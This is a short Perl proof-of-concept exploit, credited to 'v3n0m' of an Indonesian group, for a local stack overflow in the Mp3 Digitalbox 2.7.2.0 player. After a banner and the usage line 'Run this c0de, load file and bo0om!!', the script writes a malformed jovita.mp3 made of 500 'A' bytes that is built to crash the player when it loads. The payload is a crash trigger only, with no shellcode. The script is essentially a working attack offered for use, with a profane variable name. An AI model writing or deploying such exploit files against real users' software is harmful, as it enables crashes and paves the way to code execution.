28 lines
No EOL
1.2 KiB
Perl
Executable file
28 lines
No EOL
1.2 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
# Mp3 Digitalbox 2.7.2.0 (.mp3) Local Stack Overflow POC
|
|
# Author : v3n0m
|
|
# Site : http://yogyacarderlink.web.id/
|
|
# Group : YOGYACARDERLINK
|
|
# Date : July, 02-2010 [INDONESIA]
|
|
# Software : Mp3 Digitalbox
|
|
# Version : 2.7.2.0 Other versions may also be affected
|
|
# Download : http://www.tsoft.aplus.pl/
|
|
# Greetz : All Yogyacarderlink & devilzc0de Crews
|
|
sub clear{
|
|
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
|
|
clear();
|
|
print "|-----------------------------------------------------------|\n";
|
|
print "| Mp3 Digitalbox 2.7.2.0 (.mp3) Local Stack Overflow POC |\n";
|
|
print "| Created : v3n0m |\n";
|
|
print "| E-mail : v3n0m666[at]live[dot]com |\n";
|
|
print "| |\n";
|
|
print "| |\n";
|
|
print "| www.yogyacarderlink.web.id|\n";
|
|
print "|-----------------------------------------------------------|\n";
|
|
print " Usage: Run this c0de, load file and bo0om!!\n\n";
|
|
my $fuck = "\x41" x 500;
|
|
my $file = "jovita.mp3";
|
|
open (FILE,">$file") or die "[!]Cannot open file";
|
|
print FILE "$fuck";
|
|
print "\nFile successfully created!\n"; |